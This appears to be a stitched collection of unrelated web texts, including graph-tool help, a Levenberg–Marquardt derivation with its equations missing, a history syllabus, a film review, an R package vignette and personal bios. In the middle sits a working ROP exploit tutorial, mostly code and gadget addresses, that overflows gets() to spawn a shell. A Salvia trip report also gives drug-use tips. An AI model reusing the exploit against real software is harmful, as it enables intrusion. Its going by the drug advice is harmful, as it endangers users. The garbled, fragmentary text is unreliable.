| Run Shortest Paths | Selection -> Shortest Paths | ||
| Run Directed Shortest Paths | Selection -> Directed Shortest Paths |
Shortest Paths is an implementation of the Dijkstra shortest paths algorithm. When nodes within the same component are selected, the Shortest Paths function will determine the path(s) with the smallest number of transactions between the selected nodes, and highlight the nodes and transactions along the path(s).
Directed Shortest Paths runs in a similar way except it only looks at paths with directed transactions going in the direction of the source node to the destination node. When you select Directed Shortest Paths, a dialog box pops up prompting you to choose which node you have selected is the source node.
Before Shortest Paths is run:
After Shortest Paths is run:
After Directed Shortest Paths is run (Source Node is Vertex #0):

Introduction
Check here to see Levenberg–Marquardt algorithm in Wikipedia.
Check this link and we could review the theory of Levenberg–Marquardt algorithm (LMA), which is used as an improvement compared to the plain first-order gradient descent method. In this short discussion, we would like to talk about how and why we could derive such a method. Then we would know that when we could use this method and when we could not.
To understand the following part, we need to introduce such concepts:
Derivation for vector-valued function
Suppose that we have a function $\mathbf{y} = \mathbf{f}(\mathbf{x})$, where $\mathbf{x}$ is an $M$ dimensional vector (or $1 \times M$ dimensional matrix) and $\mathbf{y}$ is an $N$ dimensional vector. Thus we know $\mathbf{f}$ is an $\mathbb{R}^{M} \rightarrow \mathbb{R}^{N}$ mapping. In particular, if $N=1$, the function accepts an $M$ dimensional vector but only gives one output value. We use $y = f(\mathbf{x})$ to represent this case. In another case, the function only accepts one value but outputs a vector. We use $\mathbf{y} = \mathbf{f}(x)$ to represent this case.
First, let us talk about the special case $f(\mathbf{x})$. Since the input of $f$ is a vector, we could view it as $f(x_1,~x_2,~\ldots~x_M)$, where $x_i$ is the $i^{\mathrm{th}}$ element of $\mathbf{x}$. We could calculate $\frac{\partial f}{\partial x_i}$ for any $i$. Thus we denote the derivative of $f$ over $\mathbf{x}$ is:
In the other case $\mathbf{f}(x)$. Denote $f_i(x)$ as the $i^{\mathrm{th}}$ element of $\mathbf{y}$. Since we could calculate $\frac{\partial f_i}{\partial x}$ for any $i$. Thus we denote the derivative of $\mathbf{f}$ over $x$ is:
Jacobian matrix
Check here to see Jacobian matrix in Wikipedia.
After learning the above definitions, now we may want to define the derivative of $\mathbf{f}(\mathbf{x})$. Since it has multiple inputs and multiple outputs, the meaning of its derivative may not be very apparent. Generally we call such a derivative, or gradient, as “Jacobian matrix”. It has $N$ rows and $M$ columns and could be formulated as
To understand why Jacobian matrix could be defined as the derivative, we need to suppose that we have a function composition $z = g(\mathbf{y}) = g(\mathbf{f}(\mathbf{x}))$. If we have already gotten the derivative over $\mathbf{y}$, i.e. we have known $\frac{\partial g}{\partial \mathbf{y}}$. Then we could derive $\frac{\partial g}{\partial \mathbf{x}}$ by
In this equitation, the Jacobian matrix serves as a weight matrix which re-weights the gradient over $\mathbf{y}$ and map the gradient from the space $\mathbb{R}^N$ to $\mathbb{R}^M$. If we use numerical method to calculate $\frac{\partial g}{\partial \mathbf{x}}$ and $\frac{\partial g}{\partial \mathbf{y}}$ respectively, we could find that the above equation is satisfied.
Hessian matrix
Check here to see Newton's method in optimization in Wikipedia.
In some cases, the second-order derivative could help us to get a better or faster convergence. For example, the Newton’s method shows the most plain idea for utilizing the second-order term in optimization. Compare to the gradient descent method (which is first-order method), it could get rid of the influence from the local gradient and take a shorter route by making use of the curvature.
Check here to see Gauss-Newton algorithm in Wikipedia.
Furthermore, the Gauss-Newton algorithm is a practical version of the Newton’s method. By approximating the Hessian matrix (second-order derivative) as $\mathbf{J}^T\mathbf{J}$, it supposes to a good approximation for the second order term (in least square problem).
Check here to see Hessian matrix in Wikipedia.
First, suppose that there is a single valued function which accepts a vector $f(\mathbf{x})$. Then its corresponding Hessian matrix is
Frankly, in the case of function vector, which means we have $\mathbf{y} = \mathbf{f}(\mathbf{x})$. In this case, the Hessian matrix would become a 3D one, which means
where we denote that $\mathbf{f}(\mathbf{x}) = \begin{bmatrix} f_1(\mathbf{x}) & f_2(\mathbf{x}) & \cdots & f_N(\mathbf{x}) \end{bmatrix}^T$. The element of the above 3D matrix is a 2D matrix.
Derive LMA from a second-order expansion view
In this part, we would derive the LMA from a second-order expansion view. In fact, LMA could be regarded as a semi-second-order gradient approach, because when calculating the derivative, we use the second-order expansion for the least square problem while the inner function, i.e. the forward function is only expanded in the first-order.
General form
Considering a function composition $g(\mathbf{f}(\mathbf{x}))$, where we denote the inner function vector as $\mathbf{z} = \mathbf{f}(\mathbf{x})$. Then we could calculate the incremental of the single valued function by
which indicates that we expand the function $g$ in second order. Note that we use Hessian matrix $\mathbf{H}(g)$ to represent the second order derivative. Then we could represent the incremental $\Delta \mathbf{z}$ by
Note that we have used the Jacobian matrix $\mathbf{J}(\mathbf{f})$ to represent the derivative of function vector $\mathbf{f}$ over $\mathbf{x}$. Actually, we could expand $\mathbf{f}(\mathbf{x}+\Delta \mathbf{x})$ to the second order. But here we only use the first order term to represent the derivative. So the expansion for the inner function vector $\mathbf{f}$ is still remained in the first order.
LMA for least square problem
Considering the least square problem:
where $\mathbf{y}$ is constant (usually viewed as “observation”), and $\mathbf{x}$ is what we need to optimize.
So the least square problem could be described as finding a stationary point of a function composition, i.e.
where we denote the Jacobian matrix of the inner function vector $\mathbf{f}$ as $\mathbf{J}$ for the convenience.
Then we could rewrite the incremental as
Set the derivative to 0, therefore we could get
Jacobian matrix is not a square matrix in most time. However, the symmetric matrix $\mathbf{J}^T \mathbf{J}$ is a square one. So we could calculate its inverse. This result also explains that why we use $\mathbf{J}^T\mathbf{J}$ as the approximation of Hessian matrix. To be frank, this technique could only be used in the problems like least square.
To prevent the cases where the inverse problem is underdetermined, we could add a “damped vector” which is derived from the pure first order gradient,
Furthermore, there is an adaption that ensure the damped vector is scalable:
This solution is exactly what we call “LMA”.

| Topic | Description |
|---|---|
1450-1648 |
In the first time period, units include the Renaissance, Protestant Reformation and Age of Exploration.
The Renaissance was a key event in Europe that reintroduced Western Europe to Classical Greek works sparking humanism and Individualism. The Protestant Reformation was focused around the split of Catholics and Protestants due to the work of men like Martin Luther and his 95 theses. The Age of Exploration revolved around Europeans exploring the world and discovering new things for themselves such as the Americas. There will be quizzes on all three units as well your first introductions to FRQs, DBQs and SAs on the AP Euro. |
1648-1815 |
In the second time period, units include the Scientific Revolution, the Enlightenment/Absolute Monarchy and the French Revolution/
Napoleon Bonaparte.
The Scientific Revolution lead to many discoveries such as the Heliocentric view of the Universe, Inductive/Deductive reasoning and the Laws of Motion by Sir Issac Newton. The Enlightenment was a result of the Scientific Revolution and Renaissance. Philosophers in Europe questioned the nature and values of humans as well as their governments. Additionally some rulers such as Joseph II and Catherine the Great tried to use these ideals to strengthen their rule. The French Revolution occured due to the ideas of the Enlightenment and saw an overthrow of the French Monarchy by the people. Shortly afterwards, Napoleon rose to power as Emperor, and reigned until his defeat at the Battle of Waterloo. Much like with the first 3 units, there will be a quiz on each unit here as well so study up! |
1815-1914 |
In the third time period, units include the Age of Isms/Revolutions, Nationalism/Unification and the Industrial Revolution/
Age of Imperialism.
After the Congress of Vienna in 1815, conservatists of Absolute Monarchy before the Enlightenment had to deal with new views such as Liberalism, Utilitarianism, Socialism and Marxist Communism. 50 Revolutions across Europe followed the French Revolution though many except Greece's liberation from the Ottoman Empire, failed. Utilizing the concepts of blood and iron (war and industry) Germany and Italy both unified under the leadership of Bismarck and Giuseppe Mazzini (the heart), Camillo Cavour (the head) and Giuseppe Garibaldi (the muscle) respectively. Pride in one's country/nationalism also spread. Due to Europe's innovations in the Industrial Revolution, from 3-crop rotation to factories, Europeans needed more land and resources. As such they turned to Africa and Asia, cutting up territory for their own needs, under Social Darwinist beliefs that they were superior and more "evolved". The quizzes for these are particularly long so studying is recommended. |
1914-present |
The final time period will include the following units: World War I/Russian Revolution, World War II and the
Cold War-Present Day.
World War I occurred due to a variety of reasons. Many in Europe actually wanted a war to clear up economic and political issues, until the war lasted longer they thought it would. In the end, the Big 4 (France, U.S., Great Britain, Italy) rose to power, Germany, Austria and Ottoman Empire lost and Russia underwent a Communist Revolution/overthrew the Tsar and his family. World War II occurred once again due to Germany and extreme nationalism/Anti-Semitism. It lead to the creation of the Big 3 (U.S., Great Britain and Russia) as well the defeat of Germany, and Japan. The Cold War occurred immediately after World War II. With the creation of Nuclear Bombs, the Space Age and Opposing ideals of Democracy/Capitalism vs Communism/Socialism, Europe was divided (Berlin Wall) and tensions lasted until 1991 with the collapse of the U.S.S.R. NATO and other European post-war Unities formed to prevent any more conflicts like the World Wars. Not only are there quizzes on each unit, there will also be a heavy focus on art. You will learn art from Impressionism, to Cubism to modern day art and watch several documentaries on artists like Andy Warhol and Ai Wei Wei. Additionally the final project on art will feature you making your own piece of modern art inspired by anything you learned previously in the year along with finals. Good Luck! |

Our Story
In the spring of 1994, eight students at the State University of New York at Albany gathered to discuss the issue of establishing a strong Asian-interest organization on campus. The men aimed at tackling a number of goals, namely spreading Asian-awareness on the university campus and building a strong bond of brotherhood between the individuals.
These eight men elected amongst themselves one man, Albert Yip, to be the primary founding father, and on March 18, 1994, Nu Alpha Phi was founded. Together, these eight men persevered to create the fundamental learning process that is still used to this day for all prospective members. The major intent of the process was to instill the Seven Principles of Brotherhood, Discipline, Leadership, Pride, Professionalism, Service, and Unity into members’ everyday lives. The Founding Fathers’ belief was that it was through this process that they proved to one another – as well as to future members – that their bond would withstand any hardship.

These components include the core cms, a custom module addon or plugin, and the site itself.
Under this section, we will analyze the main configuration of each pluggable module while in the next section we will be analysing the site module.


use directional arrows or left-click/move to move, w/s to go up/down, a to turn on/off anti-aliasing and q to swich hight/low resoltion
What is this?
It's a very simple demo that use canvas and ImageData to draw a landscape using the voxel spacing technique. An image is read with the getImageData method and used as a heightmap. The landscape is then rendered column after column using the voxel spacing method. The image is then copied to the canvas with a scale factor.
Where does it work?
In every browser supporting canvas and ImageData. Firefox, Safari or Chrome will do just fine. This is the second release to this demo, it's twice as fast as before in Firefox, not much improved in Chrome and way slower in Safari which means they all runs more or less at the same speed now (~10fps on my laptop).
I will try to figure out exactly why is Safari slower now, for some news about my progress follow http://www.twitter.com/gameQuery

Q:Vicky, could you please introduce yourself?
I am a 3rd-year student in Swansea University, studying Electrical and Electronic Engineering. Additionaly, I work as a Residential Assistant for Fresh student Living the past year. As well as, the founder and President of the Hellenic Society, in Swansea, since November 2013. I was born in South Africa, Johannesburg (09/07/1994), but was raised in Greece, Athens, till the age of 18 that I moved to Swansea, in order to get my degree. I consider myself a hard worker and a person that really is enthusiastic when involved in team work. Furthermore, I am capable of adjusting in most circumstances and working under pressure.
Q: What was your goal behind establishing the Hellenic society in Swansea?
My goal with the Hellenic Society, is to show non-Hellenes, our culture and history. Most people think Hellenes are all about Greek Tasty Food and Night Life. I can personally guarantee you, this is a 10% of our culture. An other reason is, that due to the fact that when I came over to Swansea there was no society and no communications between us Hellenes. I wanted people that are coming here, to find things a bit easier. At the very least they should be able speak to us so we can help them adjust. It is a support group for people that have never left the country before, and they are asked to live on there own in a foreign country at the age of 18.
Q:What does your work as a residential agent involve?
As a residential assistant, overall Responsibilities are to respond to fire alarm activations, noise complaints, out of hours emergency maintenance issues, out of hours emergencies relating to student welfare and building security. Fresh Student Living(FSL) is a service provider; providing a service to the clients whose properties they manage, and to the students who call those properties "home". If I come to the think of it, also this job lets me help people adjust in the new life.
Q:Vicky, How do you manage your studies with a job? It sounds quite demanding.
I started working a year ago in FSL as an RAA, where I had more free time from the University, this year I am final year, so I just reduced my hours and try and arrange with the team which days are easier for me. I believe its good for a student to have a part-time job as well in order to get out of the student mode and slowly slowly welcome reality!
Q:Do you think that being a student gives you a slight edge in the student housing business?
Definitely yes. You have the management team and you have the RAA's ( Residential Assistants). Off course a student will find it easier to speak to someone that can totally understand them (i.e. a student), than the manager for example, due to the fact that the management team most of the times handle the situations as business. On the other hand RAA will help out easier or from self experience or because can understand better the difficulty of the situation. Thus, the management team, in student accommodations, offer part time jobs to student.
Q:Any particular reason for choosing UK for your higher education?
No particular reason for choosing the UK. Actually how I ended up here is because I did not manage to get into the University I wanted back in Greece. So randomly I picked UK, mostly because I have heard that offers a really good quality of education and back home its popular. In the end, I wouldn't change my experience studying in the UK.
Q:Do you have any tips to offer to international students looking to pursue higher education in UK?
I would highly recommend UK for studies to everyone. Due to the fact that you get the opportunity to live on your own and cope alone - always with your family support - in place where everyone in your (University) environment are "wearing the same shoes as you". Moreover, UK is a multi-cultural country to live in and you have so many things to get from each one person that you meet during your student life.
Thank you for talking to us Vicky--October 2015

THE ABYSS: SPECIAL EDITION A film review by Mike Watson Copyright 1997 Mike Watson
DIRECTED BY: James Cameron SCREENPLAY: James Cameron STARRING: Ed Harris, Mary Elizabeth Mastrantonio, Michael Biehn. RUNTIME: 164 minutes RATING: 4 out of 5
****WARNING: SPOILERS****
This reviewer is ignorant of what hands were responsible for delivering the original version of THE ABYSS in 1989. Whether it was the meddling of studio executives, or the work of writer/director James Cameron himself, the original cut of this underwater sci-fi thriller was entertaining enough but also quite seriously flawed. The main problem was fairly simple: the film's climax was unworthy of its build-up.
Someone at 20th Century Fox - and no doubt Cameron himself - must have agreed, because in 1993 came the theatrical release of THE ABYSS: SPECIAL EDITION. Now available on video, it seems timely to re-evaluate what, in its newly revamped state, is now a near-masterpiece despite its borrowings from films like 2010: ODYSSEY TWO, ALIEN and CLOSE ENCOUNTERS OF THIRD KIND.
The plot is thus. We meet the crew of an experimental underwater mobile oil rig designed by the hard-nosed Lindsay (Mastrantonio) and captained by her soon-to-be-divorced husband Bud (Ed Harris). The rig and its crew are diverted from their normal duties when the Navy seeks their help in investigating the mysterious sinking of a U.S. nuclear submarine. Requiring a dive part-way down a three mile deep trench, three Navy divers arrive to command the operation, led by the edgy Lieutenant Coffey (Biehn). But a series of strange sightings soon convinces at least one member of the civilian crew that whoever or whatever they're dealing with, as she memorably puts it, "aren't speaking Russian".
Meanwhile on the surface a hurricane is brewing and, even worse, a series of incidents around Cuba involving Russians ships and an increasingly nervous U.S. Navy sets off an international crisis of possible catastrophic proportions. This crisis is mirrored in the confines of the now isolated underwater rig, with the trigger-happy and increasingly paranoid Lieutenant Coffey at odds with the crew about how do deal with the mysterious goings-on around them. The human drama is often riveting, with the principal players performing with an intensity that recalls the fine ensemble acting in Cameron's ALIENS.
The stunts, hardware, special effects and underwater cinematography are all outstanding. And so they should be: Cameron's technical credentials are well established. But what ultimately makes the film so gripping is three intersecting plot strands: 1) the tension between old sparring partners Lindsay and ex-hubby Bud; 2) the war of wills between the civilian crew and the Navy divers as a series of escalating crisis' befall them; and 3) the slowly unfolding revelation of what lies at the bottom of the three mile deep abyss.
THE ABYSS: SPECIAL EDITION is an improvement on the original film in two major respects. One is that it further fleshes out the relationship between Bud and Lindsay, a relationship at times touching, at others incredibly intense and volatile. The second improvement is the restoration of some absolutely crucial scenes towards the film's end, when the aliens demonstrate their control over water with a terrifying and extraordinary display of power to a world on the brink of nuclear war. With the inclusion of these startling scenes, the story's climax is now given real weight. Why on earth were they left out of the original? This reviewer finds it utterly incomprehensible.
So then, we have 25 minutes of additional footage that's turned a decent underwater thriller into something quite magnificent. I say "quite" because some flaws do remain. The most grating is several moments of corny Hollywood schmaltz - some new, some old - that may well have you reaching for the barf bag.
Nonetheless, THE ABYSS: SPECIAL EDITION now stands this somewhat maligned film among James Cameron's greatest achievements, alongside ALIENS and TERMINATOR 2. See it and be moved, gripped and spellbound.

Tools:
- objdump
- ROPgadget
Binary protection:
- Read Only relocations
- No exec stack
- No exec heap
- ASLR
Compilation: Static
Architecture: x86_64
Operating System: Linux (Debian)
1. Vulnerable binary
For this exemple, I will take a very simple code.
#include <stdio.h>
// gcc main.c -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static
int main()
{
char buf[64];
gets(buf); // Never use this this function !
printf("%s", buf);
return 0;
}
Like you can see, the vulnerability is near the gets function. As the gets function does not control the size of the input data, we will easily can pass an exploit thanks to the ROP method.
2. To begin
Our goal is to get a shell. For this, I choose to use the execve syscall.
For remind:
int execve(const char *filename, char *const argv[], char *const envp[]);
So we will have: RDI = “/bin//sh” RSI = NULL RDX = NULL RAX = 59
3. Payload construction
To construct our payload, we will first need to set RSI (the filename arg of execve) to the string “/bin//sh”. (double slash because of 64 bits architecture) We will use the @data section to store our string. To get the data section address we will use objdump:
$ objdump -D a.out | grep data
...
Disassembly of section .data:
00000000006b4000 <__data_start>:
...
Ok, now we need the gadget to set RDI register.
We will need the following gadget:
pop rdi ; to set RSI address point to the data section.
pop rsi ; to store tempararily the data section address. (because the binary does not contain "mov qword ptr [rdi], rax ; ret" gadget)
pop rax ; to store temporarily the string "/bin//sh".
mov QWORD PTR [rsi], rax ; to move the string to the address pointed by rsi. (the data section address)
Thanks to ROPgadget, it’s very easy to locate the gadget:
$ ROPgadget --binary a.out| egrep 'pop rsi ; ret|pop rax ; ret|mov qword ptr \[rsi\], rax ; ret|pop rdi ; ret'
...
0x000000000045f491 : mov qword ptr [rsi], rax ; ret
0x00000000004314ad : pop rax ; ret
0x00000000004016b7 : pop rsi ; ret
0x000000000040159b : pop rdi ; ret
...
After multiple test, I found 72 of padding before rewrite RIP. So our payload will begin like this:
p = 'A'*72
p += pack('<Q', 0x00000000004016b7) # pop rsi ; ret
p += pack('<Q', 0x00000000006b4000) # adress of the data section
p += pack('<Q', 0x00000000004314ad) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000045f491) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040159b) # pop rdi ; ret
p += pack('<Q', 0x00000000006b4000) # adress of the data section
So now we just have to repeat this step for the next two arguments. We will have:
p += pack('<Q', 0x0000000000432d49) # pop rdx ; pop rsi ; ret
p += pack('<Q', 0x0000000000000000) # set rdx to NULL
p += pack('<Q', 0x0000000000000000) # set rsi to NULL
The last step is to set RAX to 59 (the number of execve syscall) and call the “syscall” instruction.
p += pack('<Q', 0x00000000004314ad) # pop rax ; ret
p += pack('<Q', 0x000000000000003b) # Set rax to 59
p += pack('<Q', 0x0000000000454515) # syscall ; ret
4. Exploitation
The whole payload:
#!/usr/bin/env python2
from struct import pack
p = 'A'*72 # padding
p += pack('<Q', 0x00000000004016b7) # pop rsi ; ret
p += pack('<Q', 0x00000000006b4000) # address of data section
p += pack('<Q', 0x00000000004314ad) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000045f491) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040159b) # pop rdi ; ret
p += pack('<Q', 0x00000000006b4000) # address of data section
p += pack('<Q', 0x0000000000432d49) # pop rdx ; pop rsi ; ret
p += pack('<Q', 0x0000000000000000) # set rdx to 0
p += pack('<Q', 0x0000000000000000) # set rsi to 0
p += pack('<Q', 0x00000000004314ad) # pop rax ; ret
p += pack('<Q', 0x000000000000003b) # Set rax to 59
p += pack('<Q', 0x0000000000454515) # syscall ; ret
print p
Now we test:
$ (python2 rop.py; cat) | ./a.out
id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
Done.

If you are familiar with Agil development using Scrum, you know there is a Sprint retrospective at the end of each Sprint. A time-boxed meeting where everybody is stating his point of view on what went good, what went bad and how to improve.
Because of a number of circumstances the sprint review was always held at the end of the day, in the remaining time till EOD. That was a problem since sometimes there wasn't any time, and everybody was getting stressed and anxious to get on with their own business. Consider that factor and as well the incapability of the human brain to focus on a single thing (in this context sprint retrospective), and instead of making a quick and very focused sprint retrospective where everybody could lay out their opinions it was more of a quarrel and nobody could finish without getting interrupted. So there was no way of keeping it short, the more stressed the people were the longer was the meeting. (I wander if the game theory can be applied for such problems).
It was a sunny day, about lunch time, when a colleague of mine had a genius idea, why not have the retrospective meeting out of office? The suggestion was gladly accepted by everyone. The next retrospective meeting was held out of office, in a nice place with good pizza and beer. Beer was the most important ingredient as it helped to open up everybody, and help to discuss without stress all the encountered problems, brainstorm for solutions, and just have a good time. I must say it was the most productive sprint retrospective ever. First of all nobody was anxious to leave because it's six o'clock. Second it was more like an open discussion with a lead speaker.
And one important thing, the scrum master buys the first round of drinks ;)

20 New for version 0.8:
21 1. A new table message type has been added, so now, you can send
22 dicts (containing only string keys and values).
23 2. The server now ignores invalid channel/peer IDs instead of kicking
24 clients (this should fix some disconnection problems).
25 3. Protocol updated to Beta 3
26 4. Version set to 0.8, since pylacewing has been proven to be stable.

phruta
?vignettes/what_is_phruta.Rmd
what_is_phruta.Rmd
phruta
The phruta
R
package is designed to
simplify the basic phylogenetic pipeline and allow scientists from
different backgrounds to assemble their own phylogenies. All code in
phruta
is run within the same program (R
) and
data from intermediate steps are saved locally in independent folders.
All code in phruta
is run within the same environment, an
aspect that increases the reproducibility of your analysis.
phruta
looks for potentially (phylogenetically) relevant
gene regions for a given set of taxa, retrieves gene sequences, could
combine newly downloaded and local gene sequences, performs sequence
alignments, phylogenetic inference, and tree dating. phruta
is also able to perform basic phylogenetic inference under
RAxML
on the resulting sequence alignments. The current
release allows users to conduct tree dating based on secondary
calibrations. phruta
is essentially a wrapper for
alternative R
packages and software.
phruta
The current release of phruta
includes a set of eight
major functions. All eight functions form a pipeline within
phruta
to output a time-calibrated phylogeny. However,
users interested in using their own files at any stage can run each
function independently.
Note that all the functions for which their primary output are
sequences (aligned or unaligned) are listed under sq.*
. All
the files that output phylogenies (time-calibrated or not) are listed
under tree.*
.
First, the distribution of gene sampled for a given organism or
set of taxa can be explored using the acc.gene.sampling
function. This function will return a table that summarizes either the
distribution of genes sampled for the search term in general or
specifically across species.
Second, given a list of target organisms, users can retrieve a
list of accession numbers that are relevant to their search using
acc.table.retrieve
. Instead of directly downloading
sequences from genbank (see sq.retrieve.direct
below),
retrieving accession numbers allow users to have more control over the
sequences that are being used in the analyses. Note that users can also
curate the content of the dataset obtained using
sq.retrieve.direct
.
Third, users should download gene sequences. Sequences can be
download using the sq.retrieve.indirect
from the accession
numbers retrieved before using the acc.table.retrieve
function. This is the preferred option within phruta
.
Additionally, users can directly download gene sequences using the
sq.retrieve.direct
function. Both
sq.retrieve.indirect
and sq.retrieve.direct
functions save gene sequences in fasta
files that will be
located in a new directory named 0.Sequences
.
Fourth, sq.add
allows users to include local
sequences to those retrieved from genbank in the previous step. This
function saves all the resulting fasta
files in two
directories, combined sequences in 0.Sequences
and local
sequences in 0.AdditionalSequences
(originally downloaded
sequences are moved to 0.0.OriginalDownloaded
at this
step). Note that sq.add
is optional.
Fifth, the sq.curate
function filters out unreliable
sequences based on information listed in genbank (e.g. PREDICTED) and on
taxonomic information provided by the user. Specifically, this function
retrieves taxonomic information from the Global Biodiversity Information
Facility (GBIF) database’s taxonomic backbone (see alternatives in the
advanced vignette to phruta
). If a given species belongs to
a non-target group, this species is dropped from the analyses. This
function automatically corrects taxonomy and renames sequences.
Sixth, sq.aln
performs multiple sequence alignment
on fasta
files. Currently, phruta
uses the DECIPHER
R package,
here. This package allows for adjusting sequence orientation and masking
(removing ambiguous sites).
The final two functions in phruta
focus on tree
inference and dating. These two functions depend on external software
that needs to be installed (and tested) before running.
Please make sure both RAxML
and PATHd-8
or
treePL
are installed and can be called within
R
using the system()
function. Note that you
can choose between PATHd-8
and treePL
. More
details on how to install RAxML
are provided in the
phylogenetic vignette of phruta
. Similarly, we provide
details on how to install PATHd-8
and treePL
in the same vignette.
-Seventh, the tree.raxml
function allows users to
perform tree inference under RAxML
for sequences in a given
folder. This is a wrapper to ips::raxml
and each of the
arguments can be customized. The current release of phruta
can manage both partitioned and unpartitioned analyses. Starting and
constrained trees are allowed.
-Eight, tree.dating
enables users to perform
time-calibrations of a given phylogeny using
geiger::congruify.phylo
. phruta
includes a
basic set of comprehensively sampled, time-calibrated phylogenies that
are used to extract secondary calibrations for the target phylogeny.
Note that sampling in those phylogenies can be examined using
data(SW.phruta)
. Please make sure you have at least
two groups in common with each of the phylogenies.
Similarly, users can choose to run either PATHd-8
or
treePL
.

Let me make this introduction relatively brief. I haven’t really done that many different kinds of drugs. My repertoire basically includes Cannabis, Ecstasy (MDMA), Salvia Divinorum, Amanita Muscaria, Morning Glory Seeds, and probably something else that escapes me now. Now, of these, I have found Salvia to be the most interesting. It certainly isn’t the most pleasurable, as many before me have noted. That being said, I’d say it’s safe enough for most people, provided you can respect the power of this hallucinogen. If you are looking for a fun high or interesting visuals, you’re curious about the wrong substance. Expect to do some deep reflection following your experience.
What follows is a description of my most recent Salvia experience. I won’t go into detail about how to smoke Salvia because there are many guides out there. However, I will attest that holding the smoke in longer greatly increases the effect. Having smoked Salvia about twenty or so times, I generally can judge how quickly I’m coming up. It is almost certain that the first time you attempt to smoke Salvia, you will underestimate the rapidity of the onset.
Setting: Clean dorm room, all clutter put away, a lot of space to move around in, if necessary. Quiet, some music bleeding through from the neighboring room, well-lit, warm.
Sitter: No. I wouldn’t recommend trying Salvia alone the first time. Some people emphasize this much more than I feel is necessary, but it is true that there is no way you can predict how you will react to Salvia beforehand.
Time of Intake: Roughly 8:25 PM.
End of Major Effects: Roughly 8:40 PM
Type of Drug: Salvia Divinorum - 10X Standardized Extract [Purple Sticky Salvia]
Amount: Uncertain, but doesn’t really matter because everyone reacts differently to the same amount.
Method of Intake: Water pipe
Other Relevant Information: I was sitting in a desk chair in the center of my room. The door was closed.
Narration:
I began, sitting on a desk chair, by inhaling the smoke from one entire bowl of extract in one hit. I sat still, not really counting seconds, but trying to hold the smoke in for as long as I was able to. I decided to breathe out after what was most likely fifteen or twenty seconds because I was felt that the come up was occurring very rapidly.
I can’t say I remember what happened immediately after I exhaled. The first thing I can remember was suddenly becoming immersed in a bizarre but blurry world that was made up of living entities. I didn’t see these entities with my eyes, but I felt their somewhat sinister presences. Each had the same mocking personality, and I definitely could hear voices. I think the best way to explain it is to say that there were voices in my head, taunting me, and that I was able to formulate a mental picture of the entities’/spirits’ faces. I am totally unable to describe or draw these faces. What were the taunts about? As far as I can recall, the spirits were saying things with meanings along the lines of, “You’re stuck here,” “There’s no way you’re getting out of this,” “This is the REAL world, so there’s no going back,” or “Look! How can you deny this is real?”
I would say that I generally have a pretty strong mind, and I am not easily overwhelmed. Therefore, even though the world I seemed stuck in was right before my eyes, my fighter’s instinct was alive and kicking. So I yelled back, telling these entities that I was leaving, that I wasn’t going to believe in whatever it was they wanted me to. Wherever I looked, my world appeared strange and blurry and filled with taunting presences. By this point, I had gotten up and was walking around in circles, trying to look for any cracks in this world to show these spirit-like beings that I wasn’t going to be stuck with them. Every way I turned I ran into more proof that I was really in this place, and that the spirits were right, but that didn’t make me give in.
Finally, I reached the absolute peak of my trip, at which point I was virtually forced to confront indisputable evidence that I had entered a hidden world. I was in Salvia land (or whatever you want to call it). This was when I realized that through Salvia, one could reach this secret realm. No longer were those entities taunting me, I was past that. I could see that all things connected. At the center of everything was this high-deity, Salvia. I did not see this deity with my eyes, but I knew it was really there, at the center of this Salvia world. Let’s just say that wanting to look for/at this deity did not cross my mind. It was probably as far down on the list of things I wanted to look at as Sauron’s eye was for Frodo. In addition, I felt that the only way for a person to enter this hidden place was to take Salvia. I remember thinking something along the lines of: “Oh, wow, I wonder how many people have discovered this secret, and simply did not understand it.”
I guess what I mean by that is that I got the feeling that everyone who has done Salvia has been to this place, yet perceived it differently. In other words, since everyone sees things differently, I assumed that anyone who had been to this place misperceived it, and that I finally knew the truth. It is also important to note that, by this point, I must have known that I had done Salvia. It is extremely common for users of Salvia to totally forget that they have consumed any substance. I am certain that I did not think (or possibly didn’t even know) about having taken Salvia until that point in my trip.
At long last, I had a sudden “awakening” in which I realized that I had taken Salvia, that my door was open, and that I had been yelling at my walls and out into the hallway. Luckily, as it turns out, my next-door neighbor was blasting his headphones and hadn’t heard a thing. At this point, I wasn’t even reflecting on my experience, rather, I was hoping my neighbor would not think I was psychotic. After recognizing that he was unaware, I began to pick up the pieces of my trip. I was still feeling Salvia’s effects quite nicely, but my mind had finally overcome the delusional power of the drug.  When did I do that?
But before I get to the reflection segment of this, I’ll describe how I enjoyed the lingering effects of the hallucinogen. I again sat down on the chair, and this time closed my eyes. I began to feel like the chair was slipping out from under me. It wasn’t a very overwhelming feeling, and actually, just thinking harder about it just made the sensation disappear. Opening my eyes, I glanced at my bed, only to notice that my comforter appeared to be wavering slightly. Basically, it was just a visual distortion, which was more amusing that fascinating. Following this, I began to write down what I could remember.
I have no memory of what occurred immediately following exhalation, but since I later “realized” that I had done Salvia, I guess that means I had to forget that at some point. Therefore, I assume I must have had a short “memory blackout”, during which my short-term memory was obscured.
I also found it interesting that the door was open. I guess I must have been planning to walk out of it and leave things behind when I suddenly snapped back to reality. It may have been that seeing the bathroom mirror, or simply opening the door, “awakened” me. Or, perhaps the effects of Salvia were just rapidly diminishing. Up until that point however, I was totally unaware that I had been yelling at walls and out into the hall.

I’ve been going through and tagging all the notes and photos I’ve taken at various archives, hoping that it’ll give me a better sense of a timeline (if nothing else). I’ve also pulled together all the PDFs I had saved – these are also getting tagged. I should write up how I’m using Scrivener to manage all this. But this week…

About Me
Hello, my name is Giovany Chavez and I am a current non-profit worker at the International
City/County Management Association (ICMA). Eager to make a career change into the web development
indusrty, I have enrolled in the University of Denver full stack web development bootcamp. Despite
the difficulty of this program, I am excited to take on this challange!
Aside from my budding interest in web development, I really enjoy outdoor activities and
professional sports. During the NFL season you can find me cheering on the Denver Broncos! I am also
a huge beer enthusiast and enjoy visiting different breweries when possible. A long-term goal of
mine would be to open up a brewery!
Like many other Colorado natives, I attended Colorado State University and graduated with a
Bachelor's of Science in Business Administration. From my education I have gained valuable skills in
project management, leadership, and problem-solving, which have all played a great role in my early
professional career.
To learn more about my background and experiences, please feel free to take a look at my resume.


Currently producing a 10 week show on Pirate88.com radio, on Wednesdays at 7pm, which includes weekly featured artists, a segment that frequents our incredible breweries in Western Australia, a segment that covers favourite songs on the Ukulele and Banjo, and 8 of Shaun's favourite tracks.

Me
